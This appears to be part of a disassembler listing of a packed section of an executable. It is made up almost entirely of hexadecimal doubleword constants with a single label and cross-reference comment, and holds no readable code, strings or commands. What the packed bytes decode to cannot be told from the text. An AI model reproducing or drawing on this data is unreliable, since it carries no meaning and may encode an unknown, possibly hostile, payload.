dd 8C0C5281h, 4D8C3CB8h, 0A226E656h, 67796277h, 0E458599h
dd 0C2E2E98h, 5736349Dh, 0DC8741Fh, 0FC6E5694h, 880D42CEh
dd 0BD7D888h, 0E16C91D1h, 4B420BC2h, 9C5F297Ch, 6022CABBh
dd 3D86423Ah, 0BDC2F9E7h, 52D14C94h, 3DD73854h, 5B142D4Bh
dd 0E9932CF2h, 69FE9685h, 0AC40F560h, 24505A75h, 42A0A6BFh
dd 5A9C4E37h, 2091878Bh, 0A1010E2h, 0AD94820Bh, 439F704Eh
dd 0BD57FC77h, 9A9591Ch, 0CE141B24h, 34EB690Ah, 0A2E85BA1h
dd 14C85142h, 0AEB10891h, 0BCE8A793h, 992AC8D6h, 1F675094h
dd 0E2BF404Ch, 18A1EC64h, 90B63F62h, 0D8F9F449h, 36B62E7Ah
dd 35EC0F67h, 3FD1B724h, 4EF3884Dh, 0B643BCFAh, 8182701Eh
dd 0DDB33756h, 8B5A563h, 0A6554549h, 38A19321h, 0FF1510EFh
dd 148C2C45h, 0CD359976h, 0A92C3998h, 0D19730E6h, 43947E9Fh
dd 80C02253h, 10D149B6h, 6A574A51h, 0A1780930h, 0BA5541Bh
dd 0A6589371h, 90799748h, 50D617A8h, 38E10DACh, 59CB6BA1h
dd 1B855725h, 3C10E6F5h, 0A464C3F4h, 0C41C1B97h, 0F09D8D5Dh
dd 922C6B0Dh, 9F4C934Dh, 0EAF052C7h, 42166A65h, 5C237AB8h
dd 85F570D8h, 0EB64AF48h, 2B303792h, 0C9C7A3D9h, 8DAE1E09h
dd 14147158h, 0D901AF6h, 1253D29Dh, 0C379C00h, 85F56C80h
dd 88A1681Eh, 6CD126A7h, 0A2ACA32Eh, 2F3D19FCh, 0E415093Ah
dd 0ABA477A0h, 0F3C23824h, 0BD674EA0h, 69CC4642h, 74A2AE26h
dd 2C1BB51h, 88D67F62h, 2F5AB5C4h, 2D271FE3h, 8FD6BDF6h
dd 0EB20022Fh, 26FE56CFh, 0AC1DA549h, 91806C21h, 858C1691h
dd 5A8CEF5Bh, 0B4075C23h, 2BD60EBCh, 9950DC1Ah, 82E2B858h
dd 9A9D8F06h, 0DAC05780h, 4D89A05Ch, 448F1B72h, 0C26DAAD3h
dd 57117421h, 4D0F06CCh, 6B984AFh, 5A778A98h, 5892E25Eh
dd 5484033h, 6CEFE9B0h, 4F76B8ADh, 7C164478h, 9536F2DFh
dd 30A3D7F6h, 451D1228h, 1E2D2EFCh, 7BE02F12h, 0D0E6EB45h
dd 1767785Ah, 53E1099Eh
dd 2CDEBCD9h, 9F4FF0A6h, 0BC1C427Ch, 0E0FC70A6h, 0DF780885h
dd 34B30262h, 0D0E0FC21h, 2184E108h, 0B0D0DBA4h, 5265959Fh
dd 531F5CE1h, 0A4D7CC22h, 6B5FF31Eh, 9812DFB2h, 6A25D89Fh
dd 0B425E9B2h, 0D9BAD6E2h, 572196C8h, 0A9639FFh, 0E2AC16EFh
dd 0CC6038FFh, 0E3DEE34Ah, 5489FC21h, 581339E4h, 142613A1h
dd 0B7925250h, 9F741795h, 7BFE6FABh, 0AC84E442h, 61C131E2h
dd 0E450101Ah, 923840B8h, 425CC0FFh, 0F14812E4h, 82E1B69h
dd 1CC5883Dh, 9F58D004h, 0C4C4CEEEh, 3ABC9A82h, 2E2723F6h
dd 3101AEDh, 0BF168F22h, 25087089h, 7ADCC63Bh, 0A49F3488h
dd 0ED041D58h, 1088AF1Dh, 36975EDAh, 225C285Ch, 0BB4294CBh
dd 8C3D314Bh, 5D180209h, 0ABA548Ch, 9E4ACAB0h, 0ACB4659Ch
dd 0F859970Ah, 305ED46Bh, 6A3174ADh, 0A8D022Ah, 0BEC404F0h
dd 8CEF9C15h, 30FE37B2h, 94427299h, 0C80C599Eh, 22FE1143h
dd 104FC268h, 0D77408Bh, 606E587Ah, 68CBEBC3h, 13686C52h
dd 0E311F574h, 0F11C2694h, 482A8552h, 867E1920h, 0AF05556Ah
dd 4EDEDE2Ah, 0A5280FA0h, 0A00490ABh, 0B7A2078Ah, 0F3CAFF2h
dd 17B248BEh, 8EF29DE0h, 1609DCD3h, 6DA70342h, 9CB76F25h
dd 0B84AB6D1h, 0C826ADA6h, 4EB17814h, 0FF8BF9B0h, 0E7341EE3h
dd 0B484EA25h, 78B256F3h, 68A2248Fh, 4EFF01F4h, 6925851Fh
dd 75C2F4D6h, 0EF1CB6F0h, 35ADB40Ch, 988914BEh, 54E80D19h
dd 2B0DA82Dh, 0BD9888C4h, 0B0FFDFA9h, 879DDC6Eh, 7D1E7589h
dd 858B5C92h, 0B488857Eh, 3F62639Dh, 0A908CD2h, 8B5F8F2Fh
dd 8D815AE8h, 0DC830178h, 1CE80F20h, 84E1CBABh, 4A073DBDh
dd 27F7ACF1h, 41A63007h, 564C2F05h, 0A402A798h, 975209F5h
dd 9DE29590h, 9D3C7786h, 775AA0EDh, 0D03146CDh, 80504704h
dd 9D8D7259h, 0E6A573DBh, 51C3B954h, 0C2DBF24Bh, 237734ADh
dd 0FDA09D24h, 991C5456h, 1C590422h, 2F05A62Ah, 0FB88DE57h
dd 9CE42215h, 0CD80C43Fh, 1CACC07Ch, 495E739Dh, 9BC9626Eh
dd 0D259739Ch, 3309CFD3h, 0A295D7C0h, 784444A1h, 1C315B7Eh
dd 0F63AB4EBh, 69D24F51h, 950F2210h, 2FF165F7h, 285AA6FEh
dd 0F44F15D1h, 1718A9CCh, 659C5F54h, 0E1C615D6h, 0A84F9843h
dd 0D775B235h, 0DA170661h, 8FFD4E6h, 0B67FF90Bh, 1C365A03h
dd 0D4BA2471h, 0A722268Dh, 4655BBD0h, 5D50F10Eh, 0DA16B0BEh
dd 13F88B28h, 0E890BC68h, 2F20A2F0h, 57B68CB2h, 427A79BFh
dd 97B49C28h, 12171456h, 7A799BFCh, 9BD0D641h, 0EE4B130Ch
dd 7C64F2B0h, 44B08691h, 13A743C4h, 994FDACCh, 7D810E38h
dd 7239688Ch, 8467E257h, 0C82F9BA8h, 0E45F527Ch, 0FE489DE1h
dd 88601584h, 751F3856h, 1AD1AA13h, 0EFE75FCFh, 1252D464h
dd 0EC1EFFADh, 0DE20AFFAh, 507FC111h, 93CB7256h, 5CF32CBFh
dd 29F49B42h, 8E2ADA90h, 46B04FE8h, 0AF2C6818h, 516228A4h
dd 30911091h, 0FF10B21Ch, 896057C7h, 52B8943Dh, 0D12D14Ch
dd 36D7AB6Ah, 8D050204h, 0C1DCC945h, 28824DFEh, 70BBA282h
dd 17105272h, 0F24F6A38h, 5520DA9Fh, 0C9C28351h, 44691C3h
dd 147D8300h, 0FD3BC295h, 753B9E64h, 0F7DCBB05h, 160E1495h
dd 45FABE0Ch, 26F02B99h, 93E71044h, 8FACFC8Dh, 0EACCBCC4h
dd 0A47F9F8Eh, 248C8718h, 0CDD009FCh, 8F76B4D5h, 1C82C88Dh
dd 5E5F0218h, 59550B74h, 14A0686Eh, 2D1AA153h, 59D815A4h
dd 3FD6BC20h, 359AD5FFh, 8A401FC4h, 52BFDB33h, 0AEFD49DDh
dd 33AC681Ah, 85AF3C43h, 0A3080E90h, 1B2197DBh, 88049180h
dd 0B9E86270h, 0F80C6019h, 8675B843h, 3421A446h, 2488D491h
dd 8834746Fh, 27446518h, 0A065084Eh, 0D5E40D21h, 27456854h
dd 7D1F1D39h, 7483EC58h, 7D1AD044h, 103C6878h, 34343C78h
dd 19731E10h, 8D4102Ch, 5C0F8224h, 7101C0Dh, 10148657h
dd 0C3CA042h, 0C74DA378h, 30AF659h, 0A405C70Ah, 9442295Eh
dd 9BD5CC68h, 0A32C14E5h, 2675271Ch, 57F016Ah, 0A315EBD0h
dd 0A8A31AA4h, 452D1629h, 4834BBC0h, 9C27D429h, 0B0110111h
dd 0B2A48AD5h, 0BF624065h, 0DF01998h, 0D5288F5h, 0C783184h
dd 4327A494h, 10B42364h, 0C4D4C854h, 1A383244h, 3E56BB08h
dd 9EF024ABh, 841E23F0h, 0BA940823h, 31B9B4C2h, 3830E2D4h
dd 0AC1087BAh, 883230A2h, 0B0946087h, 6414886Dh, 0C2A199B8h
dd 9C800DA4h, 12F1B07Ah, 21528468h, 3431B80Eh, 1D131019h
dd 178254ECh, 2A4E0BEBh, 6747B043h, 35D4F013h, 0A8263255h
dd 8CD4E010h, 4684D078h, 0DC02A54h, 90B99821h, 0BA08C4ACh
dd 0E4199C32h, 0A8909258h, 86B9480Dh, 0C0238043h, 64CA7010h
dd 0BA54E2ACh, 28227424h, 8089805h, 0F0512020h, 4C10D018h
dd 10106878h, 8343C47h, 1A421410h, 5C51B488h, 8644A25Ch
dd 2161C852h, 0CFA0912Ch, 502611C8h, 3DA0E44Fh, 8E1C451Ch
dd 0D8230C43h, 45D3FC08h, 0ECCD62C0h, 62C80DA4h, 482C19DCh
dd 5286C827h, 0B4210D30h, 8827DC94h, 72A46598h, 0CC10D886h
dd 1E0D9BB8h, 0C81E23C0h, 0B9A33D23h, 0DCC43011h, 9DA462B8h
dd 0D38809AEh, 0C46AFD94h, 0F47BCE4Fh, 7C287234h, 0BB51CE2Ah
dd 92701142h, 99348839h, 0D537D064h, 280D4448h, 193832BAh
dd 86241830h, 0D16DEC4Dh, 1008230Dh, 0BAB4C90Ch, 100EB27Ah
dd 84D2F034h, 0F4B8A02Bh, 408ED010h, 224920B1h, 4140BA28h
dd 0FC08A330h, 68785910h, 3C541031h, 9309292Ch, 2CAF61B8h
dd 42A018BAh, 19C0B2B8h, 588B1CBCh, 0A96D42Dh, 70E7D274h
dd 0D88802A5h, 0CC538CD2h, 0B3542B8Ch, 2B0DBC15h, 0AC10A688h
dd 0AA6FF4C8h, 0D0910DA0h, 0D46E9088h, 65848834h, 7C0D2278h
dd 70183C19h, 0BA642186h, 802343BFh, 8CC45C10h, 185032B9h
dd 4386BA70h, 10242348h, 0B9E4C440h, 0E0193832h, 46863018h
dd 0B29C1014h, 28C50C88h, 0BA341A44h, 0DA42032h, 19146248h
dd 762757FCh, 0A2A20FBCh, 0C0404B9h, 2127A410h, 0CC10D1FCh
dd 0DF455DFh, 101A0C29h, 0D78CAE8h, 0C432DC44h, 0CD02791h
dd 430DA488h, 10F823C0h, 0BAD0DDB0h, 9C62A4C8h, 0C9819B9h
dd 4FE0B138h, 0F6545B11h, 111109Fh, 48882265h, 0F462050Ch
dd 0C2F911B8h, 84B99010h, 7821ED43h, 3CC8E190h, 6432D564h
dd 48C93CA5h, 0BD64800Ch, 24A48C32h, 197032B1h, 86240CA5h
dd 0E4219943h, 0E0CA8D90h, 0C881900Ch, 79748C14h, 0BA443410h
dd 8488171h, 0B9FC8069h, 0BC026189h, 10015911h, 45112BAh
dd 0CD1DCCCh, 2378478Eh, 0CF8891C4h, 688811F8h, 15B99CE2h
dd 0C4C8C890h, 0D18C68E1h, 0F48ECB33h, 0D1701111h, 8810548Fh
dd 4440C520h, 32B8A80Dh, 0B9AC182Ch, 23184386h, 0C8081058h
dd 0D0F4C2B8h, 0E0187C11h, 41E85286h, 460DCC2Ah, 598676E0h
dd 70D0BFF0h, 350D8B14h, 0C418A314h, 0A8084088h, 10389AB8h
dd 300C710Fh, 0B8945810h, 3B31B8C4h, 3EC572CBh, 0E023C6E8h
dd 0C421F09Eh, 345576CCh, 86035331h, 0FF2EE5E2h, 9488CCD1h
dd 8A1D93B9h, 0A3D021C4h, 1D890A2Fh, 129E261Fh, 742028D0h
dd 807D3D7Dh, 70141C93h, 0EC6CC9B4h, 9C0D89CFh, 6C848139h
dd 6CFC49B9h, 0BA9C21FFh, 0D40CD859h, 0D0500885h, 1142F671h
dd 38639944h, 0B843D80Ch, 0B0942821h, 6514880Dh, 87D2728h
dd 0D215C65h, 7408CFF0h, 0E421BA43h, 881A1094h, 9DBC64D8h
dd 0AC0D127Fh, 440CBC31h, 0A44327A4h, 10413C29h, 6EF4C994h
dd 18B8444Ch, 45D12FBh
dd 55522B0h, 4D100828h, 343C8021h, 7B141045h, 76106827h
dd 1035343Eh, 2D1A711Eh, 0D6C0F10h, 67071025h, 910DA8Fh
dd 0FAE35F62h, 4D68BA4Ah, 0DC4286E0h, 29CF8884h, 731FEF45h
dd 50C51864h, 0EE089637h, 0DC4C221Eh, 86E8B8E5h, 408AE442h
dd 1C30714Ah, 6023861Ch, 89783CBAh, 9015F65Ch, 51ECC8F0h
dd 523E0E14h, 0EC218EF0h, 0DF8C10CEh, 230DD455h, 0DEBC1084h
dd 8C9064E9h, 0A3391C8Bh, 95FA1D84h, 0C8F81074h, 0CEB050F4h
dd 0A09FBEA7h, 5A901563h, 9EB95011h, 0A558443Ch, 0BB084E4Ah
dd 8428FC44h, 107C1287h, 60C84A52h, 0B1622065h, 2D6C1950h
dd 100D9132h, 30C8B9A8h, 20626064h, 0D877851Bh, 0DC7045E8h
dd 18FB6C8Bh, 60788EA8h, 9E4BE18Ch, 4670888h, 6910E568h
dd 18CDD9E8h, 3408F1DCh, 1408F18Eh, 3210C485h, 574A9A0Ch
dd 5D124852h, 0A2A2C35Bh, 893F538Fh, 7E58560Ch, 0A14F355Eh
dd 107DA057h, 0F9FF2C74h, 305FB379h, 0D83C6803h, 20764797h
dd 2BDAB712h, 5108752Fh, 0AC3542B4h, 0B069738Ch, 0AA241087h
dd 0B890B423h, 441508E2h, 1CC072BCh, 0FBD7F023h, 1CC872A4h
dd 0CCA8D842h, 88D0438Eh, 0D41155BCh, 0A471D8C8h, 39DCA20Ah
dd 88210EE0h, 21E44754h, 2A70C4E8h, 0F0E4EC88h, 51855438h
dd 87F81CF4h, 23AA3C10h, 0BB21B8FCh, 842A2064h, 862BB04h
dd 0A20AF71Ch, 0E10390Ch, 0EDD6EC11h, 85CC260Ch, 14753983h
dd 15458F59h, 14232D2Eh, 25BCF32Fh, 0C273AF77h, 0D6042474h
dd 19755094h, 68450FA4h, 0ADBF1E6Fh, 0C316037Eh, 46C64B2h
dd 74940D10h, 85C03380h, 2C0274C9h, 0C763D1FFh, 568B0888h
dd 5B770057h, 4AF8458Dh, 30E9A533h, 7D7A896Ch, 0FC645DE6h
dd 8B416088h, 7FCF2BC8h, 4D864DB1h, 1232E983h, 480C8743h
dd 6E0A2374h, 24BD17EAh, 6802FF27h, 17D6D8E0h, 9847EB70h
dd 0D721DD90h, 8C80F132h, 11B5AE29h, 57F0168Bh, 3CAF656h
dd 74F73B10h, 0D4D96512h, 3B622056h, 0EBE674C7h, 8C68B51Ah
dd 0D14F0B69h, 480E6818h, 0EDFC158Dh, 0AA1642D0h, 18D3F191h
dd 5C5068F7h, 3901CC66h, 8DE6763Eh, 0C6E045Eh, 479B5C0Bh
dd 18C38300h, 0F1723E3Bh, 0DED255EBh, 561491F3h, 0A00CF56Ah
dd 0FAE9A964h, 6F00D95Dh, 0F39212D4h, 27882D3Fh, 0F3E7B6DCh
dd 0BB14BEE1h, 0D6F20A53h, 3DF1420Bh, 0C6809F0h, 8E40D0D9h
dd 8B180DDBh, 0FBF05EC6h, 0EF6184B4h, 0FEC3D41Fh, 0D81D7E01h
dd 75D157CEh, 19F7E6E9h, 2E348DDAh, 0B70F0054h, 0C7031C3Ah
dd 75494042h, 4EB5FF6h, 850823C7h, 5745E91h, 30A9484h
dd 254982C1h, 7BD2FF5h, 5FCF10E9h, 0E86F7F3Fh, 0D0F7660Eh
dd 0F2575E9Ah, 81BEB55Bh, 0C2048F8Fh, 57C8B23h, 9534FFA4h
dd 0A28353A4h, 1C6A092Eh, 282FD957h, 4147AAA2h, 53E9869h
dd 45267E80h, 0EF0A6A33h, 0AAF8224h, 5227B80Fh, 3B462D48h
dd 0DA7C26A8h, 34C78B24h, 0BD6C6D23h, 0EDF8BD10h, 5E914029h
dd 0CC53945Dh, 3066AE8h, 14245C8Bh, 0DE5A907Eh, 6AF29F82h
dd 7E14A030h, 2BDE9716h, 2A705F5Ah, 471F1401h, 0EA7CFE3Bh
dd 80E324EDh, 97C38B5Fh, 5147A7F6h, 0FC658311h, 0C7AA26C3h
dd 12D382Ch, 59D9B25Ch, 1CBE4034h, 264315FCh, 2FC84644h
dd 5500F7Eh, 415E6A0Fh, 3B5A17C0h, 37507C1h, 0C0FC5589h
dd 7C5BF983h, 616AF30Ah, 7B511059h, 87D8B00h, 88EA5656h
dd 6427D70Ch, 575C90F9h, 94D0F00Ch, 0CE7EF437h, 5680767h
dd 0CCAE2208h, 2D98DB2Dh, 43162450h, 27555F91h, 94706ECCh
dd 5A276495h, 7AD1896Ch, 0C72A3BB2h, 2218830Dh, 948DD0E8h
dd 0B0F28316h, 194B042Eh, 17741447h, 121E2C0Fh, 7A01897Ch
dd 0AA2878E0h, 20E1195h, 24F963F9h, 485CEB11h, 750A0A27h
dd 1020BE07h, 5A804C11h, 1CBE3E75h, 513C5284h, 2E75050Ah
dd 1852CC50h, 32234684h, 11142101h, 0FC021813h, 0B21DDE10h
dd 7A2A0CD8h, 45046842h, 7FA07E0Ah, 51BD561Ch, 5C024EE0h
dd 82090526h, 853868E0h, 9A80F067h, 0DE2B7664h, 1AC42F3Ah
dd 2934B834h, 2BE4EE1Dh, 682E0349h, 931D502Ch, 0F8B8D3E4h
dd 2B2FE4A3h, 88164B6Bh, 809F0B84h, 2F88377h, 1F76365Eh
dd 6CB5257Ah, 0C0BB29BBh, 4D1254Eh, 4525076Bh, 969A3BAh
dd 57F50A1Fh, 442DBC26h, 1574061Eh, 4DF4468Dh, 0D9B66FF5h
dd 9C1B5918h, 0A17EB40h, 49050E8Bh, 37C34D3Bh, 7CFEF694h
dd 0C6830175h, 0FE814714h, 726787B0h, 0A7ECEBCBh, 0BF043B8Dh
dd 2885140Dh, 7DF68B23h, 25E15110h, 0E19D0A18h, 0C35D591Bh
dd 16D8ACD3h, 345389B8h, 46864817h, 0A88D7DBFh, 44C4491h
dd 5B196290h, 50184675h, 58880D32h, 0E867BFC4h, 61E86267h
dd 459D395Bh, 0E6D31F27h, 62FC530Ch, 4C4214BFh, 0BFC45088h
dd 428C5028h, 4F5088BFh, 0E86E8CC8h, 45ABA088h, 2D246F5Ch
dd 0D27FE2BAh, 45843D08h, 541E317Bh, 28C83798h, 74401EE0h
dd 5D478480h, 8FFD7C3Eh, 3F887810h, 212A74E4h, 0C8211170h
dd 0F7BE716Ch, 207D1941h, 688A64A5h, 194D83AFh, 0A50FFFCh
dd 87CD7F8h, 0F26975F3h, 68322E5Ah, 0DF6A3B58h, 0FC4C1CEh
dd 20AEE3BCh, 0C33B145Ch, 3C157D32h, 0E83BA354h, 0DF340953h
dd 0ADD40112h, 8024EB89h, 0D7D642Ch, 284D668Dh, 0C6202A51h
dd 0BED8B7B2h, 0B9265CF3h, 400C5D86h, 7753DCF1h, 43599A3Fh
dd 0C2F5AB3h, 40C808F6h, 71EF3BB3h, 996125C8h, 3A67CB8Bh
dd 5812DBA2h, 12564F35h, 8E66AF1Eh, 0ABEE9712h, 4684F6C2h
dd 0C22A6BC1h, 2D78515Eh, 66923EE6h, 3B1CA105h, 10AA0C45h
dd 7613E92Dh, 0C9A80904h, 32D6E244h, 1429DAE6h, 0F8BCBB3Dh
dd 6A085D80h, 37448DEDh, 24A3120Ah, 478FE117h, 8450A01h
dd 3D44F8BEh, 746A0258h, 0C068C72Bh, 0A353BDA3h, 6BC52196h
dd 0D61F20BDh, 0D9ED74D6h, 0F7431A9Ah, 68056AE0h, 4343450h
dd 32131E56h, 0B814D705h, 0AF70310h, 3968106Ah, 44C47822h
dd 57104AC6h, 2551D121h, 0F38138CEh, 2F174968h, 22A920CDh
dd 9C1896A2h, 0FBAC0824h, 5F70D68Bh, 8098A224h, 0D2FEFA1h
dd 61438E60h, 169AA714h, 9F2D33Bh, 0CA3D0777h, 0EBF610ACh
dd 1A565545h, 1056C8Bh, 0AEC2795Eh, 0D2C129B5h, 0A8194D53h
dd 981A660h, 5E0EA73Ch, 0B392EC35h, 381921F9h, 245899B0h
dd 2C5E7C20h, 9EB05B5Fh, 8404804Ch, 410175C9h, 2EFFB822h
dd 703C13Bh, 3E02E083h, 0A90315A7h, 40807719h, 12740A84h
dd 0C80D0DCEh, 115C9F0Ch, 0F564C06h, 8545FF03h, 3216BE56h
dd 1D761681h, 0C1E0D447h, 0CE3C08E8h, 509B0C54h, 0A64C106Dh
dd 81A5C32Eh, 24262C4Bh, 84DB8644h, 14B6AAC5h, 882AEFC7h
dd 0B700A365h, 53144D8Bh, 9E281D8Ah, 0D23309E6h, 85004A52h
dd 8A1C76C9h, 64323A04h, 480A9BC3h, 75A2330Dh, 81C3FEA1h
dd 0D13B423Eh, 0CED0E472h, 772EA888h, 156A0922h, 0C228A868h
dd 0D8886DCh, 30CF13B5h, 0CB74F2B9h, 158D4BBBh, 17825A0Eh
dd 22909068h, 0D2A8966h, 0A346239Eh, 0A84178Ah, 13A63959h
dd 55370B76h, 1134D780h, 380E0C8Ah, 0A588CB32h, 0AB024006h
dd 4AF27214h, 8B218BA9h, 0F4328BD9h, 3880428Eh, 50F29E0h
dd 47C1C895h, 0B3749D3Dh, 0EBEE7C02h, 0F750414Bh, 4E74A33Eh
dd 0BE4875B2h, 58868D86h, 0D825C89Bh, 244419FCh, 9089CF1Ch
dd 7D79E926h, 330DDCA6h, 16211429h, 2C303228h, 38D48027h
dd 0CCA5E22h, 984538E6h
dd 8838F82Fh, 8AB66D26h, 0C4A5F302h, 80C7923Dh, 0CCEE3A95h
dd 92BF6C2Eh, 0B5BDE19Fh, 4CAB1F44h, 0EC1E77E6h, 0D6A611C5h
dd 0C96A6192h, 8414D4ACh, 0A6B2A866h, 0C9599D9Fh, 11A489A4h
dd 94BC9CADh, 90DF2111h, 0A33C253Eh, 0B1097516h, 65B304BEh
dd 6A5E2D12h, 0E6AA0664h, 0FE109CB7h, 48211088h, 0C68124C1h
dd 48771C23h, 0B0C91DFEh, 555314C8h, 108798B6h, 0ED20DB33h
dd 6B7EF33Bh, 98F23679h, 33717D24h, 1EBA5ECBh, 25FB2AB6h
dd 39D1BE8Dh, 741F3960h, 5DC4C703h, 282A7C89h, 209EC18Bh
dd 22240652h, 44D5078Bh, 696697CFh, 122C2181h, 0AE70588h
dd 12423806h, 0C299E837h, 8730B68Dh, 36E51F35h, 1EA01027h
dd 97C58B5Fh, 0CA7FBE29h, 97EE1E21h, 0A425E5C4h, 18B22F5h
dd 5ABEBC43h, 3AF12DE0h, 98480EFDh, 7D850C2Fh, 468833BEh
dd 81FC0C4h, 851D1A75h, 39897EFFh, 7C14F83Eh, 530E2BDFh
dd 9419A649h, 43884BFCh, 93B92408h, 344853CFh, 0FA6C87EEh
dd 11E24FCEh, 73C2543Bh, 81407160h, 0D827C151h, 26A120F9h
dd 0D23FB2E9h, 312290D2h, 0E615BA3Bh, 5621A411h, 5E2C2242h
dd 25C21DACh, 60B483E5h, 7424BA80h
dword_4E414C dd 4A629F09h, 0F5014EDFh, 10E6A63Fh, 1D25C085h, 1C44B551h
; DATA XREF: .packed:off_43ACECo
dd 0B08B49ABh, 0B7F9F60Bh, 461AEB63h, 38641F2Dh, 99103C98h
dd 6A1A8E01h, 5FE53F12h, 0A93BE96Dh, 778F5866h, 24D76697h
dd 4CC88889h, 4386200Ch, 90282124h, 0BD30C82Ch, 0BEB091FCh
dd 8F274E42h, 52FB63Dh, 0C10E8A5Dh, 2F5A7483h, 28EDDEC7h
dd 12F90CC9h, 4CF8D2F9h, 2AF93A80h, 3F0A2EB2h, 5BD378EBh
dd 3AEF0A40h, 9214CA4Fh, 97BC4A5Fh, 460A8D31h, 0A2080350h
dd 0A7999889h, 18DD4A9h, 3113EB1Ah, 0A829172Ch, 4E184143h
dd 0A0EB4746h, 2A7EEE90h, 1D5F0B50h, 41F010A9h, 0A68B120Bh
dd 0A6BFD35Ch, 0AABE0B0Ah, 0EB348505h, 2785C802h, 1059E5B3h
dd 2A6FF74Dh, 7D210A80h, 803B58F8h, 0DB95D39h, 0C410675h
dd 630ACAF7h, 8A2C0311h, 5DFB8019h, 2D396C32h, 0CB09634Ch
dd 2D1C3F3Dh, 418A2C0Bh, 3E711C07h, 3AFF49C0h, 1F037DC8h
dd 1B745D3Ch, 4E3EBE39h, 3F2AC716h, 3A818A4Fh, 0D0177CD9h
dd 13607FD8h, 5F3289A8h, 0FB0C6EEBh, 183A047Ch, 0E2EED775h
dd 54FA02FFh, 0A6648284h, 2BC6F8A2h, 0E02E95D2h, 0CD3BF987h
dd 0FF519CC4h, 0C9931B2Eh, 0D6528C74h, 0F3BB8D24h, 54FF329Ah
dd 4018C20Eh, 91838A0h, 98A1C74h, 40A2D11h, 1510EB0Dh
dd 8940B485h, 0EB202107h, 19C5DBE0h, 0BD042EEAh, 0FF5A01Eh
dd 0CB3A088Ah, 1601198Fh, 2D741A38h, 1D6F334Bh, 494E7E0Bh
dd 60890519h, 0BA36F104h, 0FA3CB42Ch, 3A62D807h, 0BCD4108Ah
dd 48743C7Fh, 0D312998Ah, 0B98D05E5h, 9534E8EBh, 963011F1h
dd 0B2053F9Ch, 0B0AED329h, 20A3C44Dh, 0F8690DB3h, 4B4E7D0Ch
dd 5C490C99h, 725351A5h, 1B9C8262h, 25CA0843h, 0F9956AC6h
dd 4CBE283Eh, 7480E8BFh, 8BE5645h, 901FDAh, 32F7691h, 3AE290D8h
dd 0F34ADA46h, 90680999h, 84BB941Bh, 99577D11h, 0C0BBC2A0h
dd 0C6E68E78h, 7E244076h, 3926E0F8h, 0D1EC7C2Fh, 7C404C53h
dd 69F698Fh, 14D303A6h, 0CF5F34C6h, 0A1E0954Ch, 0AFB7E4F0h
dd 560DD96Fh, 298D7248h, 0B6750134h, 548C3D23h, 682441F9h
dd 42814BBCh, 5230BC6Dh, 0D2D16C5Eh, 285661B4h, 1C0411E7h
dd 0A728B20Fh, 1004B855h, 52D1E3EAh, 57F82293h, 83124750h
dd 3291253Dh, 0D02F0892h, 5017E210h, 0D5A3F689h, 42F05922h
dd 8F11D040h, 9545B457h, 5287D48Ah, 1E7E128Dh, 0F2CA8A08h
dd 1E303F19h, 0E42C6D0h, 0F8E2C642h, 5F30241Ch, 3F0E21Ch
dd 49274071h, 0C03A4B40h, 0CCBD8D89h, 64797C9Dh, 0DA707628h
dd 9E747124h, 0B0605D69h, 0E0A639F8h, 6D58D97h, 0EF58A13Eh
dd 11BB4B28h, 0D6C38B33h, 76309AE4h, 0B3044E33h, 0D58DBF4Bh
dd 2DCE33Bh, 738D33FFh, 84499AD8h, 0E3EE0A08h, 0A0681416h
dd 9357B2C8h, 0EC783212h, 70AFDC39h, 88B7EB7Dh, 2C71FC10h
dd 14DD4559h, 119CD5DEh, 5689A47Dh, 5F800F48h, 7E2055BDh
dd 8429355Eh, 0E51361Fh, 40332457h, 5936DCF1h, 0CC21B289h
dd 0C012EC14h, 27F06486h, 410322C4h, 0CC2BC16h, 18A8B01Ch
dd 2F646AE8h, 833B416h, 36B5AA2Ah, 0B885FB80h, 5BE2891h
dd 0C4810453h, 0CA832E12h, 44226133h, 2040C383h, 3B503909h
dd 4999EFF8h, 0B4B1FC94h, 1F6CF232h, 0C1DF28EDh, 916AF9C6h
dd 3C572C45h, 0D12CD2A5h, 0E20B5A6Ah, 60278BFFh, 2D34FF52h
dd 0E80930C5h, 0E048945Dh, 33F089FEh, 0D5B09394h, 4216A613h
dd 3359CED0h, 18C9F32Eh, 2042CB8h, 0BF388588h, 0A77CEACAh
dd 88BB5612h, 0E02EC1D3h, 39048906h, 2D60C98h, 2AA74522h
dd 0DA52CECh, 2A654C05h, 5705D1E9h, 89DBECBEh, 5679816Ch
dd 0DDFCA353h, 1D891886h, 76950DF8h, 10BF4212h, 399C276h
dd 0B442573Bh, 475977DCh, 2918D4B2h, 7A0B9277h, 0E8A336E5h
dd 40442883h, 2F7F7D6Ah, 3CE8DE80h, 184E458Dh, 31BA9A87h
dd 3FC7576Ch, 0CC5B8405h, 1A51EB85h, 693704C4h, 20EAA020h
dd 0FC2E879Ah, 884800FDh, 1A6D5749h, 56E7FC11h, 229545F4h
dd 8968533Dh, 176D577Fh, 5E1D0D14h, 1DA08DA2h, 4C70DE88h
dd 415CE885h, 231E1068h, 7729DA93h, 0A15A1294h, 94BE4B46h
dd 0D28A9D7Bh, 0E0A4E228h, 14DAA011h, 982123AEh, 0DE90F8DFh
dd 0D5F1F85h, 4518E128h, 0A8247129h, 2C101AE0h, 46A8A8E1h
dd 0E12C84E0h, 0E044A43Ch, 431D23DCh, 9C3804E4h, 9084E042h
dd 0F3AA42DEh, 9C211E40h, 0E130D0E0h, 1DA8428Fh, 6559931Fh
dd 0EF90FA7Eh, 4C993906h, 12C47314h, 71074801h, 2024C2FCh
dd 145CD9A1h, 22DB4254h, 9948F618h, 18E46842h, 0D8A31950h
dd 0CF2423EBh, 0DCA3B158h, 58112AF4h, 2014A4DBh, 1C5D411Dh
dd 239178B5h, 3A0A0759h, 0DB4C9018h, 44D448A3h, 4C68F108h
dd 0E0A1DB43h, 40881EDBh, 98969AFEh, 3F104394h, 8703C413h
dd 0BE21E13Dh, 8E62E3C4h, 6A5B61D2h, 0EC5FEA5Ch, 7E589553h
dd 18880212h, 489994BAh, 0A30DE4E7h, 234C0BC8h, 6AE1433Ch
dd 3CB51EAh, 7D38A33Fh, 408D2825h, 10EA249h, 0D40D8928h
dd 441384DAh, 0D81A504Ch, 0DF455D8Ah, 9FBAFC12h, 0CEFC2313h
dd 8AE4D0A4h, 2A594128h, 0DA310FDh, 0A3283A53h, 237A8CE4h
dd 597B5A0Ch, 413C4A25h, 3E288DCDh, 0B91BF4DDh, 790CCB9Ch
dd 40443B5Ah, 9145C8A1h, 136DE017h, 2EFD2549h, 5B069E63h
dd 9E063751h, 63F71049h, 896B393Dh, 0F806F4B2h, 0F312FC04h
